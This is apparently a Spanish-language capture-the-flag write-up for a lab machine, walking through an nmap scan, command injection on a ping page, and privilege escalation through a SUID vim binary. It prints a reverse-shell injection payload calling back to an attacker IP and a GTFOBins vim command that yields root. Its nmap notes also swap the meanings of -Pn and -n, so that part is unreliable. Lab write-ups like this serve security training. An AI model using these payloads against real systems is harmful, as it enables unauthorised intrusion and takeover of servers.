Escaneo y Enumeración

nmap -sS -p- --open --min-rate 5000 -Pn -n 172.17.0.2

-p- : permite escanear el rango de puertos del 1 al 65535
--open : permite escanear solo los puertos que esten abiertos
-Pn : permite desactivar la resolución DNS
-n : permite no hacer ping a la máquina
-sCV : Conjunto de scripts básicos de Nmap
PORT   STATE SERVICE
80/tcp open  http
nmap -sCV -p80 172.17.0.2
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Ping

Validación del puerto 80

Procedemos a acceder al servicio web a través de un navegador para inspeccionar su contenido, comportamiento y posible vectores de ataque.

None

Validamos el comportamiento del sitio realizando la primera prueba con la IP 127.0.0.1 y obtenemos el siguiente resultado:

None

Realizamos una prueba de inyección de comando siguiendo la estructura de 127.0.0.1;ls y obteniendo el siguiente resultado:

None
None

La web presenta la vulnerabilidad de Command Injection que nos permite ejecutar comandos en el sistema operativo.

Aprovechandonos de esta vulnerabilidad, procedemos a entablarnos una reverse shell a nuestro equipo para ganar acceso al servidor.

127.0.0.1;bash -c 'bash -i >& /dev/tcp/192.168.192.129/3333 0>&1'

Una vez ganamos acceso al servidor, realizamos el tratamiento de la tty.

None
None

Escalada de Privilegios

Revisión de sudo

Al intentar listar los privilegios de superusuario con el comando sudo -l desde el usuario www-data, se obtiene el siguiente resultado:

None

Lo que indica que la herramienta sudo no está instalada en el sistema o no esta disponible para este usuario.

Revisión de permisos SUID

Validamos los permisos SUID con el comando find / -perm -4000 2>/dev/null

None

Encontramos el binario /usr/bin/vim.basic con el que trataremos de escalar privilegios para convertirnos en usuario root.

En GTFOBins realizamos la bsqueda del binario para abusar y escalar privilegios.

/usr/bin/vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
www-data@5ba58a964e24:/var/www/html$ /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

E79: Cannot expand wildcards
Press ENTER or type command to continue

# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)